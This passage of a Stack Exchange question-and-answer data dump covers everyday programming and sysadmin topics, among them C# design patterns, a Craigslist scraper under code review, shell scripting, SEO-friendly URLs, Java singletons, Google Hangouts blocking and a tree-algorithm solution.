(RepositoryLayer.BankAccount oneOfRepositroyAccounts in accountsForUser)            {                DomainObjectsForBank.IBankAccount domainBankAccountObj = bankFactory.CreateAccount(oneOfRepositroyAccounts);                if (domainBankAccountObj != null)                {                    domainBankAccountObj.BankAccountID = oneOfRepositroyAccounts.BankAccountID;                    domainBankAccountObj.FreezeAccount();                    this.accountRepository.UpdateChangesByAttach(oneOfRepositroyAccounts);                    oneOfRepositroyAccounts.Status = domainBankAccountObj.AccountStatus;                    this.accountRepository.SubmitChanges();                }            }        }    }    public interface IBankAccountFactory    {        DomainObjectsForBank.IBankAccount CreateAccount(RepositoryLayer.BankAccount repositroyAccount);    }    public class MySimpleBankAccountFactory : IBankAccountFactory    {        //Is it correct to accept repository inside factory?        public DomainObjectsForBank.IBankAccount CreateAccount(RepositoryLayer.BankAccount repositroyAccount)        {            DomainObjectsForBank.IBankAccount acc = null;            if (String.Equals(repositroyAccount.AccountType, Fixed))            {                acc = new DomainObjectsForBank.FixedBankAccount();            }            if (String.Equals(repositroyAccount.AccountType, Savings))            {                //acc = new DomainObjectsForBank.SavingsBankAccount();            }            return acc;        }    }}"  , "title": "Usage of Single Responsibility Principle with bank account services implementation"  , "tags": "c#;object oriented;design patterns;.net;finance"  } 
{  "id": "_webapps.84309"  , "question": "I've embedded a public google calendar https://www.google.com/calendar/embed?mode=WEEK&src=alecjacobson%40gmail.comThis shows the calendar using New York's timezone (my calendar's default), regardless if the person viewing it is, e.g., in Chicago.I can add&ctz=America%2FChicagoAnd this will force it to be Chicago's timezone. But I'd like it to use the client's local timezone where ever they are. I'm hoping for something like:&ctz=localIs this possible?"  , "title": "How to set public Google Calendar embed URL to use client's local time zone?"  , "tags": "google calendar;url;time zone"  } 
{  "id": "_unix.360497"  , "question": "In the Kali login, I have to select i3 in the menu in order to use i3 instead of gnome. How to set i3 as the default window manager (no need of selection?"  , "title": "How to set i3 to be the default window manager?"  , "tags": "i3;gdm;display manager;xinit"  } 
{  "id": "_codereview.169096"  , "question": "I've written some code to parse the names and phone numbers from craigslist. It starts from the link in m_url then goes one layer deep to parse the name and then again another layer deep to parse the phone number. Note that it goes 2 layer deep only when it sees show contact button on that page so that it can unveil the phone number from that link to scrape. It only prints the result when it sees the button on that page. That's because there are around 120 names on that page but it prints only those containing that specific button. Sometimes when I come across such show contact button link within a page from where I am supposed to harvest data, I get frightened. That's why I tried to work on it. It works smoothly now. Any improvement on this script will be very helpful.import reimport requestsfrom lxml import htmlm_url = http://bangalore.craigslist.co.in/search/reb?s=120base = http://bangalore.craigslist.co.indef get_link(url):    page1 = requests.get(url).text    tree = html.fromstring(page1)    for row in tree.xpath('//li[@class=result-row]'):        links = base + row.xpath(.//a[contains(concat(' ', @class, ' '), ' hdrlnk ')]/@href)[0]        process_doc(links)def process_doc(medium_link):    page2 = requests.get(medium_link).text    tree = html.fromstring(page2)    try:        name = tree.xpath('//span[@id=titletextonly]/text()')[0]    except IndexError:        name =     try:        link = base + tree.xpath('//section[@id=postingbody]//a[@class=showcontact]/@href')[0]    except IndexError:        link =     parse_doc(name, link)def parse_doc(title, target_link):    if target_link:        page = requests.get(target_link).text                    tel = re.findall(r'\\d{10}', page)[0] if re.findall(r'\\d{10}', page) else         print(title, tel)get_link(m_url)Pics of that button:"  , "title": "Scraping data unveiling a button from craigslist"  , "tags": "python;python 3.x;regex;web scraping;xpath"  , "accepted_answer": "There are some things I would do differently:create a class - this way you may share a web-scraping session between the methods and also share the base and start urlsuse more meaningful variable and method names - for instance, parse_doc() could be get_contact_info(); you can re-use page variable names in different methods etc.you can use findtext() method to get the textI would also return from the scraper and print out the results outside of it you are searching for the phone number twice - instead, use the .search() method and check if you've got a match object or noneyou can pre-compile and re-use the regular expression pattern for the phone numberImproved code:import reimport requestsfrom lxml import htmlclass CraigListScraper:    PHONE_NUMBER_PATTERN = re.compile(r'\\d{10}')    def __init__(self, start_url, base_url):        self.session = requests.Session()        self.base_url = base_url        self.start_url = start_url    def scrape(self):        page = self.session.get(self.start_url).text        tree = html.fromstring(page)        for row in tree.xpath('.//li[@class=result-row]'):            link = self.base_url + row.xpath(.//a[contains(concat(' ', @class, ' '), ' hdrlnk ')]/@href)[0]            yield self.process_search_result(link)    def process_search_result(self, medium_link):        page = self.session.get(medium_link).text        tree = html.fromstring(page)        name = tree.findtext('.//span[@id=titletextonly]')        try:            contact_info_link = self.base_url + tree.xpath('//section[@id=postingbody]//a[@class=showcontact]/@href')[0]            phone_number = self.get_contact_info(contact_info_link)        except IndexError:            phone_number =         return name, phone_number    def get_contact_info(self, target_link):        page = self.session.get(target_link).text        match = self.PHONE_NUMBER_PATTERN.search(page)        return match.group(0) if match else if __name__ == '__main__':    start_url = http://bangalore.craigslist.co.in/search/reb?s=120    base_url = http://bangalore.craigslist.co.in    scraper = CraigListScraper(start_url, base_url)    for result in scraper.scrape():        print(result)"  } 
{  "id": "_cs.66887"  , "question": "Given a sparse matrix $M \\in \\mathbb{R}^{n \\times m}$ with $n \\ll m$ and $\\mathsf{nnz}$ being the number of non-zero-components. What is the running time of computing $M M^T$?"  , "title": "Running time of sparse matrix multiplication"  , "tags": "complexity theory;matrices;linear algebra;numerical algorithms;sparse matrices"  } 
{  "id": "_unix.216280"  , "question": "The Midnight Commander is a very helpful tool when we're using only the text mode. But sometimes it bothers me that I have to see all the hidden files inside a folder (files that begin with .).I've tried to find how to do it changing some configurations by myself and then looking on the man page. But I didn't succeed.Does anyone know how can I do it?"  , "title": "How can I stop seeing hidden files in the Midnight Commander?"  , "tags": "keyboard shortcuts;filenames;file manager;mc;dot files"  , "accepted_answer": "Choose Options from the menu bar, then Panel options.You have it right there, 5th option on the left column: Show hidden files."  } 
{  "id": "_unix.271745"  , "question": "I currently have a workstation set up with two NICs on separate networks. My current setup is this:eth0: LANeth1: Outside internetI have a default gateway set up on eth1 to reach the outside internet. I also have a route in place to set the default gateway for the LAN on eth0. I can browse the internet as well as reach the local LAN with no problems. The issue I'm having is that when I try to access the Ubuntu machine from another machine on the LAN, the packets are coming in on eth0 but leaving on eth1. How can I set up a rule that ensures that all traffic for the LAN subnet ignores eth1?"  , "title": "Routing traffic with multiple NICs on Ubuntu"  , "tags": "routing"  } 
{  "id": "_unix.147427"  , "question": "I want to write a shell script, in which it will call different command according to the variable length. But I didn't figure it out yet.My unwork script is here:for i in n5 n25 if ${#i} == 2;then do     python two.py n5elif ${#i} == 3;do     python three.py n25fiHow to evaluate the variable length in shell script?"  , "title": "How to evaluate a variable length in shell script?"  , "tags": "linux;bash;shell;shell script"  , "accepted_answer": "You probably want:for i in n5 n25 do   if [ ${#i} -eq 2 ]; then        python two.py n5   elif [ ${#i} -eq 3 ]; then       python three.py n25   fidoneNote that:for goes with do ... done.if goes with then ... [elif; then] ... [else; then] ... fi.the integer comparisons need -eq (equal) instead of = (for strings) and are written within brackets (if [ $var -eq 2 ], etc)."  } 
{  "id": "_webmaster.78695"  , "question": "It is recommended to use city title in url.For exampleexample.com/londonexample.com/los-angelesThe problem is, that, for example, city with title London is presented in Canada, England, USA (2 times).Using a lot of / in url is not good for SEO optimization.What is better solution to solve this problem?"  , "title": "City, SEO friendly URL"  , "tags": "seo;url"  , "accepted_answer": "Using a lot of / in url is not good for SEO optimization.Not true. And, even if it was, you won't need a lot for this to be an issue.You can solve this by putting differentiating information in the URLs of locations that occur in more than one country, or in the US, state. You can put the differentiating information in the URL and appear as a subdirectory. http://example.com/uk/londonhttp://example.com/oh/londonhttp://example.com/ky/londonhttp://example.com/us/oh/londonhttp://example.com/us/ky/londonOr you can just append it to the current location.http://example.com/london-ukhttp://example.com/london-ohhttp://example.com/london-kyIn my subdirectory example I demonstrated using the country in the URL and without it. It's up to you to decide what you think is the best from a usability and organizational perspective. "  } 
{  "id": "_softwareengineering.309086"  , "question": "I have a Java project whose architecture is quite component-oriented, and I am wondering if this is a common way to organize codewhich rules/patterns are used, if there is a name for this coding style. Component packagessrc/namespace/component1src/namespace/component1/errorsrc/namespace/component1/implsrc/namespace/component1/datasrc/namespace/component2...Each component is a bit like a service. Some launch a Thread, some open some sockets for connections, etcStructure of component// Root of the package : Interfaces + InterfaceCoordinatorsrc/componentx/componentx/ComponentXInterfaceCoordinator.javasrc/namespace/componentx/IStartup.javasrc/namespace/componentx/IinterfaceFoo.java// Implementation of the componentsrc/namespace/componentx/impl/Startup.javasrc/namespace/componentx/impl/Foo.java...// Exceptions this component can throwsrc/namespace/componentx/error/SomeError.java...// Data (not really sure exactly what we can call data or not)src/namespace/componentx/data/SomeConfiguration.javasrc/namespace/componentx/data/SomePersistedEntity.javasrc/namespace/componentx/data/SomeNonPersistedEntity.javaApplication Mainpublic static void main(String[] args) {  ...  logger.info(Initialize ComponentX Component);  ComponentXInterfaceCoordinator.getStartup().init();  logger.info(Initialize ComponentY Component);  ComponentYInterfaceCoordinator.getStartup().init();  ...ComponentX Interface Coordinatorpublic class ComponentXInterfaceCoordinator {public static IStartup getStartup(){    return Startup.getInstance();}Startup Interface/implpublic interface IStartup {    public void init(); }public class Startup implements IStartup{    private static Startup instance = null;    private Logger logger = Logger.getLogger(ComponentX);    public static IStartup getInstance() {        if(instance==null)            instance = new Startup();        return instance;    }    @Override    public void init() {        logger.debug(Initialising subcomponents: xxx);        SubComponentXy.getStartup().init();        logger.debug(Initializing Connection Manager Component);        ComponentX.getInstance().addProtocol(new MobileSystemListeningProtocol());        ComponentX.getInstance().startProtocols();    }}In addition/part of the questions I asked at the beginning :Most of the main component classed also have this getInstance() code which return the singleton instance of the classIs getInstance() following some kind of pattern ? or anti-pattern ?Is is actually just a way to get around thet fact that static methods cannot be declared in interfaces (in java <= 1.7) ?If I start a new project in JAVA 1.8, should I go for it a different way ?"  , "title": "Service/component based application in Java"  , "tags": "java;programming practices;anti patterns;architectural patterns"  , "accepted_answer": "Component packagesAs for the component packages - this approach is usually called vertical folder (directory/package) structure and is common for larger projects.Structure of componentNaming conventions are a little bit untraditional:Interfaces prefixed with capital I - this is C# convention, not Java one. In Java, interface is named without I - in this case Startup, implementation then commonly StartupImpl or something more descriptiveError - I suspect this contains exceptions. Errors in Java are special type of Throwables, but shouldn't really be used or thrown by application itself. If these are actually exceptions, they should be named accordingly.Data - these are usually called DTOs - Data Trasfer Object. Sometimes VO (for Value Object) in DDD terminology. Or if it has an identity (typically if it's persisted to the DB), then maybe entity instead of data, I'm not sure what's in there.Startup Interface/implAll the components seem to be singletons (and thread unsafe). I assume that you then call methods of other services through static getInstance() method. This reduces OOP to essentially procedural programming style. This is exactly why singleton is so often considered to be anti-pattern. It has its valid use cases, but this is not one of them.This anti-pattern stems from the need to pull all the components together, make them cooperate. In Java there's no built-in way to do this properly, that's why this style is quite common (been there too). Answer to that is Inversion of Control, and Dependency Injection in particular. Look at Spring or Guice."  } 
{  "id": "_cs.44271"  , "question": "I'm trying to use computer vision to identify objects an image. I am currently using the SURF algorithm, but Harris and SURF both find virtually no points on our objects (a paper ball and a deodorant can) due to their simple features. If it does find points it finds one or two that aren't the same points it find in the new frame. SURF also finds a large amount of points on our floor due to the contrast of the black dots on the carpet.  Here's a sample image:Is there a feature detector that doesn't use corner detection/curvature?"  , "title": "Feature detector that doesn't use corners"  , "tags": "computer vision"  } 
{  "id": "_cs.22666"  , "question": "I start to suspect this problem is very hard now that I cannot find a single relevant literature on the subject, but it's too late to change the class project topics now, so I hope any pointers to a solution. Please pardon the somewhat artificial scenerio of this question, but here goes:Technical version: Let $\\Sigma_{c}$ and $\\Sigma_{q}$ and $\\Sigma_{a}$ be 3 disjoint finite alphabet (c, q, a stand for content, query and answer respectively). Let $L_{c}\\in\\Sigma_{c}^{*}$ and $L_{q}\\in\\Sigma_{q}^{*}$ be FINITE languages, wherein $L_{q}$ have the property that for every string in the language all of its prefix are in the language too. There is an unknown function $f:L_{c}\\times L_{q}\\rightarrow\\Sigma_{a}^{*}$. Consider a mysterious machine that receive continuous stream of symbol through a channel one at a time step (we assume that the symbol are clearly distinguishable). This machine, whenever being feed with a string in $c\\in L_{c}$ (with the symbol in correct temporal order) followed by a string in $q\\in L_{q}$ will output (through a different output channel) the value of $f(c,q)$ as a temporal sequence, one symbol at a time. Note that the machine always output after every new symbol from $\\Sigma_{q}$. Note that the empty string is in $L_{q}$, which means the machine also output something before any symbol on $\\Sigma_{q}$ have arrived, but only if it is certain with high probability that the full string in $L_{c}$ have been received.The objective is to construct a neural network that emulate that mysterious machine, if we have only access to its input and output channel to use as training data, and we do not know $f$. We also have to assume that the input channel are noisy in the following sense: random noise are inserted into the input channel at high probability, delaying input symbol, and we initially do not know which one is noise and which one is authentic; also symbol in the input channel are sometimes lost at low probability. EDIT: Note: we do not know $L_{c}$ nor $L_{q}$, only the mysterious machine know, in fact we do not even know the alphabet $\\Sigma_{c}$ and $\\Sigma_{q}$ other than the fact that they are disjoint and are subset of the set of all possible input symbol (input symbol not in either set are certainly noise, but we can't tell which set it belongs to initially; note that it is still possible for symbol from the alphabet to be noise).(why neural network: beside the noise problem, also because that's what I wrote in my class project proposal)(layman version: consider Sherlock Holmes sitting in his chair, bored. Dr. Watson give a short description of the client. Once he's done, Sherlock Holmes give a conclusion about the client. Dr. Watson is astonished, and ask more question, and Sherlock Holmes reply. The conclusion must obviously based on the description alone; and subsequent answer have to answer the question being asked, taking into account the contexts which consists of question already being asked (for example, the same How did you know? following Age? demands different answer than when following Height?). Now you want to make a neural network that simulate Sherlock Holmes, having all the recordings of those session. Dr. Watson however tend to insert in long description that are rather irrelevant, making long statement before finally getting around to ask question, and sometimes accidentally omit crucial information, but otherwise describe people in a rather fixed order of details. The neural network must be able to deal with that. Of course, this is a just a layman's description, the situation is much less complex.)I have looked through various relevant literature, and I cannot find anything relevant. Conversion to spatial domain is useless due to high amount of noise causing very long input sequence. I have looked into LSTM to deal with the memory problem over arbitrary long time lag, but I for the life of me cannot figure out how is the network is supposed to be trained when there are arbitrarily long noise insertion everywhere or possibilities of missing symbol (every method I found seems to force a fixed time-lag between input and output, and missing symbol immediately wreck any method based on predicting the next item in the sequence). Also, is it too much to ask for network that isn't too hard to code? Integrate-and-fire neuron is even worse than LSTM in term of difficulty in coding.Thanks for your help. It's due in 2 days, so please be fast."  , "title": "Neural network: noisy temporal sequence converter (transducer?producer?) on demand?"  , "tags": "formal languages;neural networks"  } 
{  "id": "_codereview.172889"  , "question": "Looking for feedback for a class I'm writing to manage my db connections/queries on my site (.net core c# web api, MS Sql DB). The reason behind the class was the ever growing list of db calls and wanting to centralize not only the connection and query, but to also have it populate by objects through a series of methods using reflection. I am only using a single database. public class DbQuery : IDisposable{    private SqlConnection con;    private SqlCommand com;    private SqlTransaction trans;    private List<SqlParameter> parameters;    public DbQuery(string connectionString)    {        con = new SqlConnection(connectionString);                    OpenConnection();    }    public void BeginTransaction()    {        trans = this.con.BeginTransaction();    }    public void BeginTransaction(IsolationLevel isolationLevel)    {        trans = this.con.BeginTransaction(isolationLevel);    }    public void CommitTransaction()    {        trans.Commit();    }    public void RollbackTransaction()    {        trans.Rollback();    }    public void ClearParameters()    {        parameters.Clear();    }    public void AddParameter(string key, dynamic value)    {        if (parameters == null)        {            parameters = new List<SqlParameter>();        }        parameters.Add(new SqlParameter(key, value));    }    public T ExecuteReturnObject<T>(string sSql, CommandType commandType = CommandType.Text) where T : new()    {        try        {            return ExecuteSql<T>(sSql, commandType);        }        catch (SqlException e)        {            throw;        }        catch (Exception e)        {            throw;        }    }    public List<T> ExecuteReturnList<T>(string sSql, CommandType commandType = CommandType.Text) where T : new()    {        try        {            return ExecuteSqlList<T>(sSql, commandType);        }        catch (SqlException e)        {            throw;        }        catch (Exception e)        {            throw;        }    }    public T ExecuteReturnScalar<T>(string sSql, CommandType commandType = CommandType.Text)    {        try        {            return ExecuteSqlScalar<T>(sSql, commandType);        }        catch (SqlException e)        {            throw;        }        catch (Exception e)        {            throw;        }    }    public int ExcuteNonQuery(string sSql, CommandType commandType = CommandType.Text)    {        try        {            return ExcuteSqlNonQuery(sSql, commandType);        }        catch(SqlException)        {            throw;        }        catch(Exception)        {            throw;        }    }    private List<T> ExecuteSqlList<T>(string sSql, CommandType commandType) where T : new()    {        try        {            CreateCommand();            com.CommandText = sSql;            com.CommandType = commandType;            if (parameters != null && parameters.Any())            {                com.Parameters.AddRange(parameters.ToArray());            }            using (SqlDataReader reader = com.ExecuteReader())            {                List<T> tList = new List<T>();                while (reader.Read())                {                    T t = new T();                    for (int i = 0; i < reader.FieldCount; i++)                    {                        string field = reader.GetName(i);                        TrySetProperty(t, field, reader.GetValue(i));                    }                    tList.Add(t);                }                return tList;            }        }        catch (SqlException e)        {            throw;        }        catch (Exception)        {            throw;        }        finally        {            DisposeCommand();        }    }    private T ExecuteSql<T>(string sSql, CommandType commandType) where T : new()    {        try        {            CreateCommand();            com.CommandText = sSql;            com.CommandType = commandType;            if (parameters != null && parameters.Any())            {                com.Parameters.AddRange(parameters.ToArray());            }            using (SqlDataReader reader = com.ExecuteReader())            {                T t = new T();                reader.Read();                for (int i = 0; i < reader.FieldCount; i++)                {                    string field = reader.GetName(i);                                            TrySetProperty(t, field, reader.GetValue(i));                }                return t;            }        }        catch (SqlException e)        {            throw;        }        catch (Exception)        {            throw;        }        finally        {            DisposeCommand();        }    }    private int ExcuteSqlNonQuery(string sSql, CommandType commandType)    {        try        {            CreateCommand();            com.CommandText = sSql;            com.CommandType = commandType;            if (parameters != null && parameters.Any())            {                com.Parameters.AddRange(parameters.ToArray());            }            int nRowAffected = com.ExecuteNonQuery();            return nRowAffected;        }        catch (SqlException e)        {            throw;        }        catch (Exception)        {            throw;        }        finally        {            DisposeCommand();        }    }    private T ExecuteSqlScalar<T>(string sSql, CommandType commandType)     {        try        {            CreateCommand();            if(parameters != null && parameters.Any())            {                com.Parameters.AddRange(parameters.ToArray());            }            com.CommandText = sSql;            com.CommandType = commandType;            T t = (T)com.ExecuteScalar();            return t;        }        catch (SqlException)        {            throw;        }        catch(Exception)        {            throw;        }        finally        {            DisposeCommand();        }    }    private void TrySetProperty(object obj, string property, object value)    {        if(value == DBNull.Value || value == null)        {            return;        }        var prop = obj.GetType().GetProperty(property, BindingFlags.Public | BindingFlags.Instance | BindingFlags.IgnoreCase);        if (prop != null && prop.CanWrite)            prop.SetValue(obj, value, null);    }    private void OpenConnection()    {        if (con.State == ConnectionState.Closed)        {            con.Open();        }    }    private void CloseConnnection()    {        if (con.State != ConnectionState.Closed)        {            Console.WriteLine(closing connection);            con.Close();        }    }    private void CreateCommand()    {        com = this.con.CreateCommand();        if (trans != null)        {            com.Transaction = trans;        }    }    private void DisposeCommand()    {        if (com != null)        {            Console.WriteLine(disposing command);            com.Dispose();        }    }    #region IDisposable Support    private bool disposedValue = false; // To detect redundant calls    protected virtual void Dispose(bool disposing)    {        if (!disposedValue)        {            if (disposing)            {                // TODO: dispose managed state (managed objects).            }            // TODO: free unmanaged resources (unmanaged objects) and override a finalizer below.            // TODO: set large fields to null.            CloseConnnection();            if (con != null)            {                Console.WriteLine(disposing connection);                con.Dispose();            }            disposedValue = true;        }    }    // TODO: override a finalizer only if Dispose(bool disposing) above has code to free unmanaged resources.    ~DbQuery()    {        // Do not change this code. Put cleanup code in Dispose(bool disposing) above.        Dispose(false);    }    // This code added to correctly implement the disposable pattern.    public void Dispose()    {        // Do not change this code. Put cleanup code in Dispose(bool disposing) above.        Dispose(true);        // TODO: uncomment the following line if the finalizer is overridden above.        GC.SuppressFinalize(this);    }    #endregion}the use of it is as suchusing (DbQuery db = new DbQuery(ConnecitonString)){    string sql = select somthing from somewhere where id=@id;    db.AddParameter(id, 2);    string title = db.ExecuteReturnScalar<string>(sql);}still in the design and testing phase, but as mentioned, looking for some feedback, good or bad."  , "title": "Class for managing database connections"  , "tags": "c#;ado.net"  } 
{  "id": "_softwareengineering.187836"  , "question": "Code documentation is usually related to a piece of code, be it small (method-level) or larger (class- or namespace-level). However, it is always about the inputs and the outputs of that piece of code, possibly describing its behavior and caveats.It doesn't make much sense to document events fired by a class in the methods that may fire them: they may be duplicated and, by the definition of events, the listener is not expected to care about what triggers them, only handling them.Documenting all events at the top of a class seems quite heavy, as someone willing to get an overview of the class behavior might not be so interested at deep diving at this secondary interface.This problem is mitigated in strongly-typed languages such as Java (yes, unless you use anonymous classes, but it doesn't seem so common), as the events will be defined in their own classes, which can then be documented.But, in languages with looser types, where an event is simply a String identifier and a series of parameters, it is much more difficult to find the proper place for documenting these id/params combinations.So: where should fired events be documented in languages that don't model them explicitly?"  , "title": "How to document events?"  , "tags": "documentation;event programming"  , "accepted_answer": "It belongs in side documentation, which is usually called a reference. Such documentation, as you outlined it, doesn't belong to the class/method documentation, so the best place is to have dedicated documentation for them.For exemple, take a look at how Symfony2 documents its exposed internal events: http://symfony.com/doc/current/reference/events.htmlDon't be too quick to dismiss events as secondary interface. They usually are quite the opposite, as they are the main way to extend functionnality in a really loosely coupled way."  } 
{  "id": "_webmaster.777"  , "question": "I am aware of a few ways to deploy websites:FTPExport from source controlBase the site on a source control checkoutI can see some upsides and downsides of each. Is there any consensus on the most effective way to deploy new sites OR site modifications?"  , "title": "What is the most effective way of deploying a website?"  , "tags": "site deployment"  , "accepted_answer": "What has worked best for us on Stack Overflow (and meets point 2 of the Joel Test) is a continuous integration solution, allowing one-click building of our production sites, as well as automated builds of our developer tier upon new code check-in.We use the .NET flavor of CruiseControl, with the exciting name.. CruiseControl.NET :)  Some of the key features include:Integration with a variety of Source Control systemsIntegration with other external tools, such as NAnt and Visual StudioCan build multiple projects on one serverRemote management and reportingWe've been extremely happy with this open-source software and would recommend it to any team wishing to streamline their build process."  } 
{  "id": "_codereview.81770"  , "question": "I was looking for a way to perform additional tests before waiting for an event:if everything_is_alright():    event.wait()But this is not thread-safe. A correct version would be:with lock:    wait = everything_is_alright() and not even.is_set()if wait:    event.wait()The problem is that the lock have to be acquired everytime the event is set/cleared. So I thought about:with event:    if everything_is_alright():        event.wait()where event has an internal lock that would be released before it actually starts waiting. Since it looks very much like a Condition, I sub-classed both Condition and Event to create this object: from threading import _Condition, _Event    # Lock Eventclass LockEvent(_Condition, _Event):    Event that can be locked to perform additional test.    def __init__(self):        Initialize the event.        _Condition.__init__(self)        _Event.__init__(self)    def wait(self, timeout=None):        Wait for the event to be set.        with self:            if not self.is_set():                _Condition.wait(self, timeout)            return self.is_set()    def set(self):        Set the event.        with self:            _Event.set(self)            self.notify()    def clear(self):        Clear the event.        with self:            _Event.clear(self)This is what the documentation says about _Condition.wait:When the underlying lock is an RLock, it is not released using its release() method, since this may not actually unlock the lock when it was acquired multiple times recursively. Instead, an internal interface of the RLock class is used, which really unlocks it even when it has been recursively acquired  several times. Another internal interface is then used to restore the recursion level when the lock is reacquired.So far the code is working properly, but: am I missing a race condition?is there a simpler solution using the standard threading objects?"  , "title": "Perform additional tests before waiting for an event"  , "tags": "python;multithreading"  } 
{  "id": "_scicomp.25762"  , "question": "I have been exploring finite differences and heat transfer using the 2D heat equation to further expand my knowledge. So far I think it is going well.I am running into some confusion around grid spacing for the finite difference method.Basically if I have a metal plate measuring 100mm x 100mm it would seem natural to establish a grid spacing of 1mm which would yield 100 x 100 nodes or so (I haven't fully explored the different grid spaces yet to see what works best). If I run the simulation I get results I would expect after a certain time given the initial conditions. At time, t, the system has evolved to a certain state.Now, I want to try a larger metal plate made of the exact same material with the exact same properties. The only difference is that it is larger, 1m x 1m. For this plate I would establish the grid spacing at 1cm yielding the same number of notes, 100 x 100. I might be naive here but I can't see how the scale would affect the finite differences. I would expect the plate to take longer to reach the same state (or pretty close, provided the initial conditions and boundary conditions were the same) as the smaller plate. But from what I see in my calculations is that it doesn't. I might be missing something and would appreciate any pointers to the relevant literature.Edit:For the purposes of this question there are constant heat sources defined at the boundaries, nothing fancy. It really is a very basic problem definition. I had set the $\\alpha$ value to 1 do that I could investigate the algorithm. I didn't pay attention to the units that it was defined with.I think my problem is in regards to the unit that are used to define the spacing. In the initial problem I had the units in my mind as millimeter. I really should have paid closer attention to the units used in defining the heat capacity, material density and thermal conductivity. They were defined with meters. To me this would imply that I need to define the grid spacing in terms of meters. This would give me the difference that I am looking for. For example the first plate of 100mm x 100mm would have a spacing of 1mm = 0.001m. The second plate of 1m x 1m would have a spacing of 1 cm = 0.01m. Is this logic correct?"  , "title": "Finite Difference Grid Spacing and Scaling"  , "tags": "finite difference;grid;heat"  } 
{  "id": "_webmaster.7296"  , "question": "Possible Duplicate:Are meta keywords worth the effort? Are the metatags importent for Search engines?"  , "title": "meta tage for SEO"  , "tags": "seo"  } 
{  "id": "_webapps.106029"  , "question": "My question contains various quotes. I will try to tranalate them from German (the language of my country Germany) to English.Sending a Hangouts message to my father fails. No matter if I try to send the message via the web interface of Gmail on my laptop (Windows 7) or if I try to send it via the Hangout app my Samsung Galaxy S3 Neo mobile phone, sending a message to my father will fail. When I try to send a message via the web interface of Gmail I get the following error message:The message was not deliveredWhen I try to send a message via the Hangout App on my mobile phone I get the following error message:Error while sending, Tap to retry.I guess the problem is inside of my Google account, because both sending methods fail.Both sending methods (web interface of Gmail on my Laptop and Hangout App on my mobile phone) succeed, when I try to send a Hangout message to any other contact than my father.My Problem has begun when I have tried to send a Hangout message on my mobile phone to my father. Sending a Hangout message to my father has initially failed due to  mobile data network problem of my provider O2 in Bad Wildungen (my current location). I called the provider and it has fixed its network problem. Ever since the mobile data problem has occurred I am not able to send a Hangout message to my father. As I have stated earlier sending a Hangout message to any other contact succeeds."  , "title": "Google Hangouts: Sending a message to a specific contact (my father) fails"  , "tags": "gmail;google account;google hangouts;android"  , "accepted_answer": "The OP commented that this situation turned out to be a case of the recipient using Hangoutss block user feature.Many messaging websites will fail to deliver messages to other users with mysterious/inexplicable reasons or silently fail to deliver a message at times. If this happens, it is possible that the recipient has blocked you. To protect users, when a blocked user tries to send a message, the blocked user is not given a very specific error message. Or, perhaps, the recipient is made invisible to the sender or the message is silently failed instead of even showing an error. This is because the block feature is meant to be useful in the situation where the blocked user is harassing another user. Additionally, you may not be able to join any group conversations when any user in that group conversation has blocked you.To people who consider using the block feature: the block feature is meant for handling users who endlessly harass or spam you who you are unlikely to want to contact again. If a person is annoying you but you intend to maintain a relationship with them, please consider not blocking that person. Many messaging websites offer a mute notifications feature. For example, in Hangouts, open a conversation. From there, click the gear icon, and uncheck Notifications. Your browser and devices will no longer bug you with messages on that conversation, but you must remember to re-enable Notifications for that user later. Or if all Hangouts interactions are troubling you temporarily, open the menu in the upper-left hand corner (), choose Settings (gear), and under Notifications open the dropdown Mute notifications for and choose a time period. To unblock someone in Hangouts, open the menu in the upper-left hand corner (), choose Settings (gear), open Blocked people, locate the blocked user, and choose Unblock.To people who end up blocked: understand that sometimes people use the block feature without understanding the ramifications. For example, one might block someone even if they intend to contact them in the future. The block feature may cause the person who used it to be confused and unable to find the blocked person. To reduce the chances that another user decides to block you, please be understanding of other users and respect any requests to be quieter. Before sending a message, consider that something which seems important and pressing to you may just be an annoyance to the recipient. Also consider being less spammy by, e.g., composing a complete thought when sending a message instead of sending a bunch of short messages (one meaningful notification is less annoying than a series of partial-thought notifications). It is better to behave considerately to avoid being blocked if you want to still be able to contact the other user when something important comes up."  } 
{  "id": "_unix.2738"  , "question": "What's the best IDE for developing C / C++ on Ubuntu? I tried installing Eclipse but it seems like I need the eclipse-cdt package also.  The problem is there is no such package, at least for Lucid.  How do I proceed?  I am not tied to Eclipse."  , "title": "Develop / Debug C / C++ on Ubuntu?"  , "tags": "c;development;ide;eclipse"  , "accepted_answer": "I'm a pretty hard-core Emacs user but still, for developing C++ I prefer Qt-Creator (don't be afraid because of the name, it works well for non-QT-projects) as Emacs lacks good project support and stable code completionThe pros:Can import CMakeFiles.txt into an automatically created projectBest code completion you'll find on Linux, sometimes even better than Visual Stuudio when it comes to heavily templated codeVery good debugger integrationAvailable for all major platformsFree (in both senses) softwareversion control software integration (SVN. Mercurial, git)If you develop QT: Interface designer and more"  } 
{  "id": "_codereview.162462"  , "question": "Problem statementWe define an unrooted tree, T, with the following properties:T is a connected graph with  nodes connected by n-1 edges.  Each node has a distinct ID number from 1 to n, and each node ID i has a value, wi.We define a subtree of T to be a connected part of T. Two subtrees, Ta and Tb, are disjoint if they don't contain any common nodes. For example:Sum of a subtree is the sum of the wi values for each node i belonging to the subtree.Given the configuration of tree T, find and print the maximum possible product of the sums of two disjoint subtrees in T (i.e., sum(Ta) · sum(Tb).My introduction of the algorithmThe algorithm is the hard level algorithm in hackerrank world codesprint 10 in April 2017. I did write a recursive depth first search tree algorithm in the contest, passed the sample test cases but failed all other test cases with wrong answer errors. So I spent hours to study one of code submissions and put together a C# solution after the contest. The algorithm turned out to me a simple depth first search(DFS) after hours study, debugging and walked through the sample test case. My understanding of DFS solution here is that the base case in the sample test case shown in the graph is the node with one connected edge, for example, starting from left to right, node 4 with weight 9 and node 3 with weight -1. For any edge in the graph, for example, edge 1:6 1, node 6 starts a DFS search until it reaches node 4 whereas node 3 starts a DFS search ended at itself. The dynamic programming part is not easy to come out and it takes some time to build the recurrence formula. Base case is easy to figure out, node with one connected edges. For any edge to serve each of two nodes, it has to calculate the maximum/ minimum value include/ exclude itself within all connected edges. The C# code passes all test cases. Depth first search is my favorite algorithm, sometimes I forgot that recursive function is the economical choice for DFS compared to iterative one using stack. using System;using System.Collections.Generic;using System.IO;class Solution{    /// <summary>    /// https://www.hackerrank.com/contests/world-codesprint-10/challenges/maximum-disjoint-subtree-product    /// </summary>    public class Graph    {        private Dictionary<long, Node> nodes { set; get; }        private Dictionary<long, Edge> edges { set; get; }        //one edge with one edge id, but use negative edge id         //as well to accommodate two nodes in the edge.          private Dictionary<long, long> edgesWithMaxWeight { set; get; }        private Dictionary<long, long> edgesWithMinimumWeight { set; get; }        private 